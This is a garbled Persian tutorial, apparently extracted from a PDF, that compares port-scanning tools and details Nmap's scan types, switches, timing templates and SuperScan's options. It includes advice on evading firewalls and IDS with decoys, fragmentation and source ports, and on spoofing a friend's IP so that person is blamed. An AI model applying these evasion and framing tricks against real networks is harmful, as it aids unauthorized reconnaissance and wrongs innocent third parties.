اني   د مک ه خوبی است   TCP ACK Scanزم  و یا اگر از فيلتر شدن بسته ها کلافه شده ای دگی       .  گزین دن حکم مرگ زن اگر ناشناس مان
رای         FTP bounce Scanدارد استفاده از مکانيزم  ه امنيت را ب يد آن را ت رده باش دی ک ان پيکر بن  و استفاده از یک پرو کسی که خودت
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انی را    % ١٠٠ جواب های  Polite Scanاگر در داخل یک شبکه داخلی هستيد مکانيزم . شما به ارمغان می آورد  ل اطمين درست و قاب
  . انتخاب فوق العاده ایی استTCP SYN Scanاگر مشکل کندی دست رسی به شبکه و نگرانی شناسایی دارید گزینه . به ما می دهد

  
  :اقبل از هر چيز یک مقایسه کوچولو بين نرم افزارهای پویشگر پورت معروف انجام ميدهم تا بعد برسی به معرفی آنه

  
دارا بودن مکانيزم پویش  UDPتوانایی پویش پورت های  TCPتوانایی پویش پورت های 

  مخفيانه
  نام نرم افزار پویش گر

برای سيستم عمل های   
UNIX 

Җ  -  -  Strobe 
Җ  -  -  Tcp_Scan 
-  Җ  -  Udp_Scan 
Җ  Җ  Җ  Nmap 
Җ  Җ  -  Netcat 

برای سيستم عمل های   
Windows 

Җ  Җ  Җ  NMapWin 
Җ  Җ  -  Net Scan Tools Pro 

200x 
Җ  -  -  Super Scan 
Җ  -  -  NTO Scanner 
Җ  -  -  Win Scan 
Җ  -  -  Ip Eye 
-  Җ  -  WUPS 
Җ  Җ  -  Fscan 

  
  

  :خوب حال به معرفی کارا ترین نرم افزارهای پویشگر پورت و البته کامل ترین می پردازم
  
١- Nmap:   
  

  . مکانيزم بالا را پشتيبانی می کند البته با دقت بالا ۶تمام ). حال تا به ( هيچ جای بحثی نيست که این اولی است 
  :برای دریافت این برنامه به آدرس زیر مراجعه کنيد 

www.insecure.org/nmap 
ه خالی از      خوب این هم مثل بقيه ابزارها و روال هميشگی اول برای سيستم عامل های کد باز          د ک م آم دوز آن ه نوشته شد بعد نمونه  وین

 ها اجرا NT یا روی Xp اجرا نمی شود باید حتما بدون سرویس پک باشد ویندوز ٢ و ١ های سرویس پک xpروی ( اشکال هم نيست    
دوز    ثلا  وین وز وقت نکردم روی          ٩٨ و ME ، روی ٢٠٠٠کنيد آن را م ه هن م اجرا نمی شود البت  Advance  SERVER 2003 ه

  : آخرین آن هست که این شکلی  ١٫٣٫١خوب نسخه ویندوز آن  ورژن  ) امتحان کنم ببينم چه ميشود جواب 
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  . است برای اجرای نسخه ویندوز آن ٣ را باید نصب کنيد که آخرین نسخه آن Win Pcapاین فراموش کردم که بگویم حتما نرم افزار 
  

ام   ( و دیگری دارای یک رابط کاربری گرافيکی است         ) نسخه هلو   ( یک مدل تحت خط فرمان      نسخه ویندوز آن دارای دو مدل است         با ن
NMapWin .(      ادل ایين پنجره مع به نظر من تنها مزیت نسخه گرافيکی آن است که پيکر بندی را برای مبتدی ها ساده ميکند البته در پ

  !! آن است پيکر بندی نسخه خط فرمان را نمایش ميدهد و این مزیت اصلی
  : در خط فرمان که این شکلی است nmapاین هم 

  :اول من مدل خط فرمان توضيح ميدهم بعد مدل گرافيکی آن راهمراه خط فرمان 
C:\Program Files\NMapWin\bin>nmap.exe 
 
Nmap V. 3.00 Usage: nmap [Scan Type(s)] [Options] <host or net list> 
 
Some Common Scan Types ('*' options require root privileges) 
 
* -sS TCP SYN stealth port scan (default if privileged (root)) 
  -sT TCP connect() port scan (default for unprivileged users) 
 
* -sU UDP port scan 
  -sP ping scan (Find any reachable machines) 
 
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only) 
  -sR/-I RPC/Identd scan (use with other scan types) 
 
Some Common Options (none are required, most can be combined): 
 
* -O Use TCP/IP fingerprinting to guess remote operating system 
  -p <range> ports to scan.  Example range: '1-1024,1080,6666,31337' 
  -F Only scans ports listed in nmap-services 
  -v Verbose. Its use is recommended.  Use twice for greater effect. 
  -P0 Don't ping hosts (needed to scan www.microsoft.com and others) 
 
* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys 
  -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> General timing policy 
  -n/-R Never do DNS resolution/Always resolve [default: sometimes resolve] 
  -oN/-oX/-oG <logfile> Output normal/XML/grepable scan logs to <logfile> 
  -iL <inputfile> Get targets from file; Use '-' for stdin 
 
* -S <your_IP>/-e <devicename> Specify source address or network interface 
  --interactive Go into interactive mode (then press h for help) 
  --win_help Windows-specific features 
 
Example: nmap -v -sS -O www.my.com 192.168.0.0/16 '192.88-90.*.*' 
 
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES 
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ورت در          ویش پ ای پ زار      ) nmap( در جدول زیر تمام مکانيزمه رم اف اگر می   .   توضيح داده شده است   Nmapو سویچ های آن در ن
  . مراجعه کنيد"  شيوه های جستجوی پورت انواع" بينيد توضيحات کامل نيست به بخش 

  
در خط ( سویچ ها   ویژگی و مشخصه پورت  

  ) فرمان
نام مدل اسکن به 

  لاتين
 sT TCP Connect-  .تمام مراحل پا تکانی ببخشيد دست تکانی انجام می شود !! مکانيزم پویش مودبانه   ١
 مرحله ایی انجام ٣نی دو مرحله از سه مرحله دست تکا!! مکانيزم پویش مخفيانه   ٢

  .ميشود 
-sS TCP SYS 

 برگردد پورت RESETاگر .  ارسال ميشودTCP FINبه هر پورت یک بسته   ٣
  .بسته است، در غير این صورت احتمالا باز است 

-sF TCP FIN 

 ارسال PUSH و URG و FIN با بيتهای فعال TCPبه هر پورت یک بسته   ۴
سته است، در غير این صورت احتمالا باز  برگردد پورت بRESETاگر . ميشود
  .است 

-sX TCP Xmas 
tree 

مثل ( به هر پورت یک بسته ارسال می شود که  در آن هيچ یک از بيتهای کنترلی    ۵
ACK و FIN اگر . فعال نيست... )   وRESET برگردد پورت بسته است، در 

  .غير این صورت احتمالا باز است 

-sN Null 

 برگردد پورت RESETاگر .  ارسال می شودTCP ACKیک بسته به هر پورت   ۶
  .بسته است، در غير این صورت احتمالا باز است 

-sA TCP ACK 

 در Window Size است با این تفاوت که فيلد SYS ACKاین مکانيزم مشابه   ٧
  . استفاده شده استTCPبسته 

-sW Window 

 b FTP Bounce-  .می شود استفاده FTP bounce Scanمکانيزم با حال   ٨
  برگردد ICMP یا پيغام RESETاگر .  ارسال ميشودUDPبه هر پورت یک بسته   ٩

  .پورت بسته است، در غير این صورت احتمالا باز است 
-sU UDP 

Scanning 
 ICMP.   -sP Pingمکانيزم کشف یک ماشين در شبکه با استفاده از پيغام  ١٠
خودش از مکانيزم پویش { این مکانيزم .(  شبکه درRPCمکانيزم کشف سرویس  ١١

 که RPCکليه پورت های باز و آماده استفاده از سرویس } مودبانه استفاده ميکند 
  )   را بعلاوه اطلاعات تکميلی آشکار ميکند port mapperاصطلاحا 

-sR RPC 
Scanning 

  
ورت است         مکانيزم رد گم کنی خاص خود است         nmapخوب یکی از ویژگی های خوب        ویش مخفی پ انيزم های پ دا از مک ه ج ن  .  ک ای

يش از            . روش رابطه مستقيمی با پهنای باند ارتباطی شما با شبکه دارد           مکانيزم این روش این است که برای هر پورت از ماشين هدف ب
ه ماشين قرب         ه فر سند IP یک بسته فرستاده ميشود که فقط در فيلد ن صورت ک ه ای د ب اوت دارن م تف ا دریافت     با ه ثلا ب سته در  ۴انی م  ب

ه                              ر هستند ک اه و بيخب ه آدرسهای بيگن ورت را دارد و بقي شگر پ جواب چهار بسته ميفرستد اما فقط یکی از ان بسته ها آدرس ماشين پوی
سته    ۴خوب اگر شما به جای       .بعد از دریافت این بسته آن را حذف ميکند           ار مسلو         ٣٠ ب ط ک شود هيچی فق تيد چه مي سته بفرس ل امنيت   ب

  . برابر ميشود و عملا شما غير قابل رد یابی ميشوید٣٠سایت 
  .یکی از قابليتهای این برنامه پویش هم زمان چند قربانی است که بعدا بيشتر توضيح ميدهم 

  
 البته راه  که آن را از دیگر نرم افزار های مشابه خود  متمایز می کند تشخيص نوع سيستم عامل استnmapیکی دیگر از ویژگی های      

د     nmapالبته  .  است TTL و توجه به پارامتر      pingهای زیادی همچون     شخيص     .  از این روش استفاده نمی کن رای ت ه ب ن برنام روش ای
OS               بر مبنای نقض اصول پروتکل است مثلا هر گاه یک دفعه یک بسته ACK            ه شود دوز حوال ه سوی وین د        (  ب ه می داني انطور ک هم

رم          .  بر می گردد   RESETدر جواب یک بسته     )  دفعه حواله هيچ ماشينی نمی شود         یک ACKهيچ وقت یک بسته      ن ن ه ای ایی ک سته ه ب
د از  ه عبارتن تد یک دفع زار ميفرس سته  ( NULL و SYSاف دون NULLب سته ای ب ه  ( SYN و ACKو )  است CODE BIT ب ب

   … و URG  و PSHو )  های بسته  بسوی پورتFIN و URG و ( PSH و UDP و ACKو ) سوی پورت ها بسته ميفرستد
  . می بردOS یک ، دو جين از جواب های دریافتی هر سيستم عامل را دارد و با دریافت جواب پی به نوع  nmapخوب 

  
  : را ميتوانيد از آدرس زیر بدست بی آورید Win nmapکد منبع برای نسخه ویندوز نرم افزار 

  
http://nmapwin.sourceforge.com/projects/nmapwin 

  
د            XPالبته یک کمی فکر کنم انگولک کنيد آن را، تو ویندوز    ردم نصف قابليت های آن پری ی من ک د ول ار کن م ک !!!  با سرویس پک ه

  !!!!!دارم روش کار ميکنم 
  :فاده کرد با شکل عمومی زیر  ميشود برای اتصال به یک پورت استnmap از 
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Nmap –PT <port_number> 
شته ام      IP در مواقعی استفاده ميکنم که مثلا با توجه به امکانات آن یک رنج        nmapخوب از این دستور      ا گ ودن ماشين ه الا ب  را برای ب

نم و معمولا   ولی به جوابها خيلی شک دارم آن هایی را که احتمال می دهم  ، در خواست من دیوار آتش سوزا             نده با این دستور چک ميک
  .  هم استفاده ميکنم٨٠از پورت 

  : را در زیر آورده ام که توضيح ميدهم FTP Bounce با مکانيزم nmapیک نمونه از دستور 
Nmap –b anonymous@ftp.lame_host.com –p 6000 xxx.xxx.xxx.xxx 

ری از سرور                  ره گي ا به د ب الا سعی ميکن ورت    ftp.lame_host.comفرمان ب ه آدرس        ۶٠٠٠ پ انی ب  را xxx.xxx.xxx.xxx از ميزب
  .است یا خير )لينوکس X Windows همان    ( Xجهت پی بردن به این مطلب که آیا ميزبان مذکور در حال اجرای سرویس 

  .بعد جواب را نمایش ميدهد. بعد یک سری کارها خود برنامه انجام ميدهد 
  

الاتی و آموزشها    این برنامه  برای زمان بند    ام مق ی عمل پویش پورت امکانات خوبی را در اختيار ما قرار می دهد که البته بيشتر در تم
ه قيمت متوسطی                                  ا ک وار آتش ه شتر دی را بي م اجحاف شده است زی افوق مه که در باره این برنامه نوشته شده است در حق این گزینه م

  ...  و MacAfee  و semanticبندی تهاجم را پشتيبانی ميکند از جمله محصولات دارند و نرم افزاری هستند همه از الگوی زمان 
ه                                     دهای مخفی آن از جمل م م ع ه وا و در بعضی مواق رود ه شود و ب که کار این الگو باعث ميشود که انواع اسکن غير مخفی شما دود ب

FTP Bounce چون شما دارید پشت سر هم به طرف بسته ميدهيد .  
  : را مشاهده ميکنيدNmapاین موضوع پی بردید در جدول زیر الگوهای زمان بندی قابل استفاده در برنامه حال که اهميت 

  
زمان صرف شده برای   فواصل زمانی  نام الگو

  اسکن هر ميزبان
زمان مجاز برای 

دریافت پاسخ مورد نظر 
  از ميزبان

اسکن ( پویش موازی 
  )هم زمان چند ميزبان 

Paranoid ۵خير   دقيقه۵  حدودنام   دقيقه  
Sneaky ١۵خير   ثانيه١۵  نامحدود   ثانيه  
Polite ۴١٠حداکثر ( ثانيه ۶  نامحدود   ثانيه 

  )ثانيه 
  خير

Normal -  ١٠حداکثر ( ثانيه ۶  نامحدود 
  )ثانيه 

  خير

Aggressive -  ۵۵٫١حداکثر ( یک ثانيه    دقيقه 
  )ثانيه 

  بله

Insane -  ٧۵بله   ثانيه٣حداکثر    ثانيه  
گوی تعریفی توسط ال

 کاربر
Scan_delay  Host_timeout Initial_rtt_timeout 

Min_rtt_timeout  
Max_rrt_timeout 

Max_parallelism 

  
ی           .  در اختيار گرفت   T–تمام الگوهای پيش تعریف شده را ميتوان با استفاده از گزینه             ه الگوی کل برای نمونه به فرمان زیر توجه کنيد ک

  :را نمایش ميدهد 
Nmap T Sneaky sS xxx.xxx.xxx.xxx p 1-100 

  . هم مدل را مشخص ميکند Sneaky زمان بندی  را فعال می کند T که مکانيزم پویش است ، sSخوب 
  

وان        Scan_delayخوب شما خودتان هم می توانيد یک مدل تعریف کنيد که             ه عن ه ب ی ثاني ر حسب ميل  حداقل فاصله زمانی مورد نياز ب
ه را جهت   Host_timeoutگزینه . سکن دو ميزبان مختلف را مشخص ميکند    تاخير ميان ا    حداکثر زمان قابل صرف بر حسب ميلی ثاني

ه   . اسکن پورت های یک ميزبان خاص تعيين ميکند    ه را جهت دریافت          rtt_timeoutسه گزین ی ثاني ر حسب ميل ان انتظار ب   مدت زم
ه  .  ميلی ثانيه است٣٠٠ برای دریافت پاسخ nmapته کمترین زمان در برنامه الب.پاسخ لازم از ميزبان مورد نظر مشخص می کنند   گزین

وازی                   Max_parallelismآخر   ه طور م ه ب د ک ارت دیگر       (   تعداد پورت هایی را مشخص می کن ه عب ان ب م زم ا ه ویش   ) ی وان پ ميت
  . است٣۶البته ظرفيت این مقدار حداکثر  را به آن بدهيد کلا این ویژگی را غير فعال کرده اید ١البته اگر مقدار . نمود

  
  :ليست سویچ ها عبارت اند از 

  
نام سویچ در   سویچ  

NMapWin 
    توضيحات سویچ ها

١  -sT Connect  مکانيزم پویش مودبانه است بالا زیاد توضيح دادم!!  
٢  -sS SYS Stealth سم  .مکانيزم پویش مخفيانه است

ق
ت  Sc
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٣  -sF FIN Stealth  به هر پورت یک بستهTCP FINاگر .  ارسال ميشود
RESET برگردد پورت بسته است، در غير این 

  .صورت احتمالا باز است 
۴  -sP Ping Sweep  مکانيزم کشف یک ماشين در شبکه با استفاده از پيغام

ICMP.   
۵  -sU UDP Scan  به هر پورت یک بستهUDPاگر .  ارسال ميشود

RESETپيغام  یا ICMP ،برگردد پورت بسته است  
  .در غير این صورت احتمالا باز است 

۶  -sN Null Scan  به هر پورت یک بسته ارسال می شود که  در آن هيچ
... )   و FIN و ACKمثل ( یک از بيتهای کنترلی  

 برگردد پورت بسته است، RESETاگر . فعال نيست
  .در غير این صورت احتمالا باز است 

٧  -sX Xams Tree  به هر پورت یک بستهTCP با بيتهای فعال FIN و 
URG و PUSHاگر .  ارسال ميشودRESET 

برگردد پورت بسته است، در غير این صورت احتمالا 
  .باز است 

٨  -sO IP Scan یعنی اینکه ببينيم آیا پروتکل .برای اسکن پروتکل است
مثلا با . مورد نظر روی ماشين هدف هست یا که خير

هدر مدر ندارد خالی است (  خام  IPارسال یک بسته 
 SPSميتوانيم ببينيم آیا پروتکل ١٣٠با شناسه )این فيلد 

)Secure Packet Shield ( آیا روی ماشين هست یا
 با محتوای ICMPاگر در جواب یک بسته . نه

protocol unreachable بگيریم ميشود گفت این 
اگر . ب نشده است پروتکل روی ماشين هدف نص

جواب به ما ندهد ميشود گفت که این پروتکل روی 
این را ذکر کنم که این  شيوه ، شيوه کار . ماشين هست
  !!درستی است

٩  -sI Idle Scan  برای اسکن ميزبان هایی است که از سرویسIdentd 
 فال گوش ١١٣که به صورت بيش فرض روی پورت 

 جمله ليست می مانند است اطلاعات تکميلی از
  .را بدست می آورد..  کاربران و

١٠ -sA ACK Scan  به هر پورت یک بستهTCP ACKارسال می شود  .
 برگردد پورت بسته است، در غير این RESETاگر 

  .صورت احتمالا باز است 
١١ -sW Window Scan  نوع مخصوصی از مکانيزم برای ویندوز است که در

 است با این تفاوت که SYS ACKاین مکانيزم مشابه 
 استفاده شده TCP در بسته Window Sizeفيلد 
  .است

١٢ -sR RCP Scan  مکانيزم کشف سرویسRPCاین مکانيزم .(  در شبکه
} خودش از مکانيزم پویش مودبانه استفاده ميکند { 

 RPCکليه پورت های باز و آماده استفاده از سرویس 
 اطلاعات   را بعلاوهport mapperکه اصطلاحا 

  )تکميلی آشکار ميکند 
١٣ -sL List Scan  خوب این گزینه را من زیاد استفاده نمی کنم ولی فکر

 را انجام ميدهد با امنيت Pingميکنم همان عمل 
  .بيشتر

١۴   -p {x-x} Port Range  با این گزینه ليست پورت های را که باید اسکن کند
  مشخص می کنيم به این صورت که 

١۵ -D {x-x} Use Decoy  خوب در باره این بالا توضيح دادم که یکی از
مکانيزمهای مخفی ماندن است که رابطه مستقيمی با 

برای استفاده از این . پهنای باند ارتباطی شما دارد
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پيدا  ) Clintترجيحا  ( IPمکانيزم شما یک سری 
و بعد !!!) شکم خودتان به مقدار لازم نسبت به ( کرده 

 ت به وسيله یک علامماز سویچ در قالب ليستی که اقلا
  .مبارکه کاما از یکدیگر جدا شده اند ذکر می کنيد

١۶ -b {x-x} Bounce Scan  خوب درباره این که خيلی بالا توضيح دادم همان
 است که بعد از FTP Bounceمکانيزم مخفی ماندن 

  . می کنيد ها را واردIP یا IPسویچ 
١٧ -e {x} Device  در مورد ميزبانهای که بيش از یک رابط شبکه را

مورد استفاده قرار داده اند ، امکان تعيين رابط شبکه 
مورد نظر را جهت برقراری ارتباط با ميزبان در 

 رابط شبکه مورد نظر نالبته تعيي. اختيار می گزارد
  .بعد از سویچ الزامی  است

١٨ -S {x} Source Address  این سویچ به شما  اجازه ميدهد  تا آدرسIP منبع 
شما با این شيوه  . ارسال کننده بسته ها را مشخص کنيد

را درج کنيد !!!  یکی از دوستان خود IPميتوانيد مثلا 
آن بد بخت خفت ) IDS ( دکه اگر یک دفعه افسر اوم

ا انشااالله خد).عجب کار کثيف و پليدی ( کند نه شما را 
  .من ببخشد به خاطر آموزش دادن این چيزها به ملت

این اضافه کنم این شيوه در مورد ميزبان هایی که چند 
اتصال شبکه دارند زیاد کارایی ندارد چرا آن را 

این . بشوید" فيل ، سوف " خودتان کشف کنيد انشااالله 
اضافه کنم که گزارش حاصل از عمليات به دست شما 

 این وسط تا دیک کمی مخ بگزارینمی رسد ، که باید 
اگر از این مخ ها .جواب پویش را بدست بی آورید

ندارید ميتوانيد این کار را انجام دهيد تا شخص دیگری 
  !! را گناه کار جلوه دهيد

  .عجب آدم پست ميشود گاهی 
١٩ -g {x} Source Port  با استفاده از این سویچ امکان تعيين پورت منبعی که

ات اسکن توسط این برنامه از آن جا انجام کليه عملي
بنابراین ذکر شماره . ميشود ، در اختيار قرار ميگيرد

در .( پورت مزبور بعد از این گزینه الزامی است 
برخی موارد که دیوار آتش مگس کار ميشود و 

عمليات ما را هی ناکام می گزارد این گزینه فوق 
وف  مثل  یکی از پورت ها معرنالعاده است و تعيي

  )آن راه گشا است  " UDP  ۵٣"  و ٢٠ و ٨٠

٢٠ -PT TCP Ping  این گزینهNmap را وادار ميکند از شيوه ای به 
این .  استفاده کندping برای عمل TCP Pingعنوان 

 است و پورت پيش Telnetشيوه کاملا مشابه عمل 
در صورت اینکه پورت مورد .  است٨٠فرض هم 

ر دهيد باید شماره آن را بعد از نظر را بخواهيد تغيي
  .سویچ وارد کنيد

٢١ { –PT –PI } TCP + ICMP  سویچ مشابه آن در لينوکس ها–PB است که از هر 
  .دو شيوه همراه هم استفاده می کند

٢٢ -PI ICMP Ping  در این شيوه از پيغامICMPاستفاده ميشود .  
٢٣ -P0 Don’t Ping تخاب ابن گزینه از انجام عمل با انPing خود داری 

 IPميکند در نتيجه برنامه بدون دانستن اینکه اصل آن 
  .را انجام ميدهد) پویش پورت( بالا هست یا نه این کار
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٢۴ -f Fragmentation  قاین سویچ موجب ميشود تا برنامه یکی از مکانيزمهای س م
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هت ج ) ٧ یا ۶ یا ٣ یا ٢شماره های ( پنهانی خود 
 مکانيزم ۴البته هر کدام از این . پویش استفاده کند 

 منفصل به IPدرون پرانتز را به صورت بسته های 
 تکه تکه شده مورد استفاده TCP، " هدر " همراه 

این کار برای پيشگيری از بلوکه شدن . قرار ميدهد
بسته های مورد نظر توسط دیوار اتش  و یا آقا دزد 

  .انجام ميشود) IDSجم سيستمهای کشف تها (رگي
٢۵ -I Get Idented Info  اگر از مکانيزم–sT استفاده کنيد یک سری اطلاعات 

اضافی هم برای شما جمع آوری ميکند که البته عالی 
  .نيز هستند

٢۶ -R Resolve All  در موقعی که یک رنجIP را برای پویش به آن 
 های که جواب IPميدهيد به طور پيش فرض روی 

 آن ها ميگردد اگر این را انتخاب DNSميدهند دنبال 
 های هم که جواب نمی دهند هم این کار IPکنيد روی 

  !!را انجام ميدهد 
٢٧ -n Do not Resolve  خوب این امکان پيش فرض بالای را از کار مياندازد

  DNS هم که جواب ميدهند دنبال اسم IPیعنی روی 
  .هم نميگردد

٢٨ -F Fast Scan این گزینه فقط پورت های مشهور را اسکن ميکند  
٢٩ -O OS Detection  با اضافه کردن این سویچ برنامه سعی ميکند سيستم

  .عامل  روی ماشين هدف را کشف کند
٣٠ -iR Random Host  امکان انتخاب تصادفی ميزبان های مورد نظر را از

شما به برنامه ليستی که شامل این اسامی است که 
  !!ميدهيد را دارا ميباشد 

٣١ --resume Resume  با استفاده از ( در صورت لغو عمليات پویش
CTRL-C (نام ناگر این را فعال کرده باشيد با تعيي 

  .فایل مورد نظر ميتوانيد نتایج را مشاهده کنيد

٣٢ -d Debug  حالت اشکال زدایی را فعال می کند.  
٣٣ -v Verbose پيشرفت عمل پویش با جزیيات را نمایش ميدهد.  

٣۴ -vv Very Verbose پيشرفت عمل پویش با تمام جزیيات را نمایش ميدهد.  
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٣۵ -T 0 Throttle Paranoid  ۵هر پنج . را ، ولی بازم ميگم۶بالا توضيح دادم این 
  .دقيقه یک بسته ارسال ميشود

٣۶ -T 1 Throttle Sneaky  ثانيه یک بسته می فرستد١۵هر پانزده .  
٣٧ -T 2 Throttle Polite یک بسته ميفرستد٠٫۴هر .  
٣٨ -T 3 Throttle Normal ای که هيچ هارسال با حداکثر سرعت ممکن ، بگو ن 

  .پورت آزمایش نشده ای باقی نماند
٣٩ -T 4 Throttle Aggressive  ثانيه بيشتر منتظر نميشود١٫٢۵دریافت پاسخ برای .  
۴٠ -T 5 Throttle Insane  ثانيه منتظر ميشود٠٫٣برای دریافت پاسخ .  
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۴١ --host_timeout –{X} Host Timeout  این سویچ حداکثر زمان قابل صرف بر حسب ميلی
ثانيه را جهت اسکن پورت های یک ميزبان خاص 

  .تعيين ميکند
۴٢ --max_rtt_timeout {X} Max RTT  این سویچ حداکثر مدت زمان انتظار بر حسب ميلی

ثانيه را جهت دریافت پاسخ لازم از ميزبان مورد نظر 
  .مشخص می کنند

۴٣ --max_parallelism {X} Parallelism  این سویچ تعداد پورت هایی را مشخص می کند که به
ميتوان ) زمان به عبارت دیگر یا هم ( طور موازی 
  .پویش نمود
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۴۵ --min_rtt_timeout {X} Min RTT  این سویچ حداقل مدت زمان انتظار بر حسب ميلی
ثانيه را جهت دریافت پاسخ لازم از ميزبان مورد نظر 

  .مشخص می کنند
۴۶ --initial_rtt_timeout {X} Initial RTT ن انتظارها این سویچ مدت زمان پيش فرض برای ای

  . ثانيه است۶زمان پيش فرض . را مشخص ميکند
۴٧ --scan_delay {X} Scan Delay  این سویچ فاصله زمانی مورد نياز بر حسب ميلی ثانيه

به عنوان تاخير ميان اسکن دو ميزبان مختلف را 
  .مشخص ميکند

۴٨ -iL "مسير فایل" Input File قالب مخصوص این گزینه با وارد کردن فایل های با 
  .. .***ميتوانيد کار را ادامه دهيد و

۴٩ -oN "مسير فایل" Output File  این گزینه موجب ثبت تمامی خروجی های حاصل از
  .**برنامه در قالبی که شما بتوانيد مشاهده کنيد ميشود
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۵٠ --win_nopcap No Pcap  از توابعPcap آن به جای!!!  دیگر استفاده نمی کند 
  . استفاده ميکندSocket Rawاز توابع 

۵١ --win_trace winTrace  خوب اگر شما ميدانيد قربانی از سيستم عامل های
 استفاده ميکند با انتخاب این گزینه یک تمایکروساف

  .کمی اطلاعات بيشتری برای شما دست پا ميکند
۵٢ --win_noiphlpapi No IP Hlp Api  ثانيه ١۵مثل گزینه بالا است ولی برای هر بسته فقط 

  .بيشتر منتظر جواب نميشود
۵٣ --win_norawsock No Raw Sockets  با انتخاب این گزینه توابعRaw Sockets هم استفاده 

  .نمی شود
۵۴ --win_forcerawsock Force Raw Socket ط توابع خوب این گزینه باعث ميشود فقRaw 

Socketاستفاده شود .  
۵۵  --win_nt4route NT4 Route  آزمایش ميکند کد های مسير یابNT4همين. را!!  
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  :الگوی عمومی دستورات و سویچ های این برنامه به صورت زیر ميباشد
nmap [Scan Type(s)] [Options] <host or net list> 

  
   !!!هک یک است با این همه مکانيزم خوب معلومه نفس کش می طلبخوب حالا دیدید چرا گفتم این برنامه ی

ن                               ن جوری ای ل از من ای نم هيچ کسی قب ی فکر ک ا ول رای شما ه املاً توضيح دادم ب ه را ک ن برنام من تمام مکانيزم ها و سویچ های ای
  .بياید ولی فکر ميکنم تک تک سویچ های این برنامه به کار شما ها !! برنامه را باز نکرده باشد

  :بقيه کار با خودتان ميریم سر ابزار بعدی به نام
  

 از NT دارد که هيچ مشکلی ندارد و روی تمام نسخ ویندوز nmap-3.75-win32 یک نسخه با نام Nmapاین ذکر کنم که برنامه 
 کنيد تا با مقایسه جوابها به حرف من به بهترین شيوه ممکن کار ميکند البته در خط فرمان توصيه ميکنم این حتما استفاده...  و XPجمله 

  .پی ببرید
  
٢- Net Scan Tools که بالا در باره کارهاش توضيح دادم این جا هم یک مختصری توضيح ميدهم :  
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زار  sP–  است که دقيقا مشابه سویچ     NetScannerکه همانطور که در شکل مشاهده ميکنيد این برنامه دارای امکان              Nmap در نرم اف
  . ها را برای اینکه آیا فعال هستند یا نه مورد برسی قرار دادIPاز ) رنج (  با این امکان ميتوان محدوده ای مشخص .است

ا وارد کردن      Port Scannerامکان دیگر این برنامه  ه شما ب د       IP است که البته بد نيست ک ورت می پردازی ویش پ ه پ ا محدوده آن ب .  ی
  .بلو بيشتر توضيح نميدهم دیگه همين چون خيلی کار با آن تا

  
  : است که این شکلی Super Scan ابزار بعدی که من معرفی ميکنم البته خودم هم از آن مثل ابزارهای قبلی هم استفاده ميکنم -٣
  

  
  

ات  البت!! این ابزار بدی نيست یعنی اصلا نميشود به آن گفت بد ولی یک زره ای شلوغ و البته بی روال دقيقا مثل این مقاله        ه دارای امکان
ه را      .  سه مرحله ای استفاده ميکند ٣این برنامه از مکانيزم دست تکانی       . خوبی هم است   نم هم ه سعی ميک دارای یک سری بخش است ک
  :توضيح بدهم

١- Host name Lookup :  خوب تابلو اینجا باید اسم یاIPید هدف خودتان را وارد کنيد تا یک سری اطلاعات درباره آن بدست آور.  
ه                                : Configuration قسمت   -٢ يم ک ویش بکن ه ميخواهيم پ ورت های را ک ه ليست پ يم از جمل ا تنظيم ميکن خوب پيکر بندی را در اینج

سمت   د ق م ميتواني ما ه د ش تفاده کني ه اس م راه برنام ای ه ست ه د از لي م ميتواني د ه ست درست کني ان لي د خودت م ميتواني ار ه ن ک رای ای ب
Helper apps in right-click menu     ه رای گزین ثلا ب د م ه    Telnet را با برنامه های مورد نظر خود پر کني ه ای ب د از برنام  ميتواني
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ا نرمافزارهای دیگری همچون         ا یک راست            ...    وNCهمين نام در ویندوز استفاده کنيد ی ه ب رد برنام دا ک از پي ورت ب ی یک پ ه وقت ک
  .. این بخش مشخص کرده اید به ان پورت وصل شوید وکليک روی آن بتوانيد با نرم افزارهای که در

  . در این قسمت محدوده ای را که باید پویش شود را مشخص ميکنيم IP قسمت -٣
يم         Scan Type  در بخش Scan Type و Scan قسمت -۴ ویش  را مشخص کن رل پ ورد نظر خود جهت کنت .  ميتوانيم پارامترهای م

د    Ping های که در جواب IPاعث ميشود که برنامه از  بonly Scan Responsive Pingگزینه  داده ان وده   (  پاسخی از خود ن ال نب فع
  .از پویش پورت های آنها خود داری کند) اند 

ورد نظر   Host Responsive Showگزینه  ه منظور   (  باعث ميشود تا برنامه پس از برقراری اتصال با ميزبان و تحریک پورت م ب
  .هرگونه اطلاعات بدست آورده از آن را نمایش بدهد)  در باره آن جمع آوری اطلاعات لازم

ورد نظر خود را              All Port Fromقسمت آخر گزینه  ورد نظر و آخرین آن محدوده م ورت م ين شماره پ رد اول ا وارد ک د ب  هم ميتواني
  .پویش کنيد

  
  :جزیيات بيشتر 

  
   SuperScanمعرفی پویشگر پورت 

  
ا امکان می             یی، استفاده از ابزارها و روش       پذیری یک سيستم رایانه     برای تعيين ميزان آسيب    یکی از اولين قدم ها           ه م ه ب هایی است ک

ستم            ه شبکه و سي وذگر ب د یک نف ی، و در برخی شرایط از دی اربر بيرون های   دهد خود به بررسی وضعيت امنيتی سيستم، از دید یک ک
ه ردازیم رایان ی، بپ ه . ی ر، چنانچ ارت دیگ ه عب ين روش  ب ا چن ان، ب ستم م ی سي ان بررسی وضعيت امنيت د،    امک ته باش ود داش ایی وج ه
  .شود های سيستم، آسان می اندیشی برای مقابله با شرایط خطير و برطرف نمودن ضعف چاره

   
ه      در معرفی ابزارهای گوناگون در این بخش، جدا از معرفی ابزارهایی که به        الی ب ر حملات احتم ستم محافظت در براب ا      سي ه م ان ب م

د  ایم که امکان بررسی وضعيت امنيتی سيستم مورد نظر را فراهم می             افزارهایی را نيز معرفی کرده      رسانند، تاکنون نرم    یاری می  در . کنن
ستم می    کارهای جامعی که به کليه گرهای امنيتی، به عنوان راه   افزارها، پویش   این دسته از نرم    د   ی ابعاد امنيتی یک سي اهی   جای پردازن گ

ی      گرها، مجتمع  اید، هدف از استفاده از این پویش گونه که در مرورهای پيشين مشاهده کرده همان. ویژه دارند  سازی امکان بررسی امنيت
اد مختلفی همچون                 در پویش . زمان است   یک سيستم، بدون نياز به استفاده از چند ابزار هم          ستم از ابع ی سي ی، وضعيت امنيت گرهای امنيت

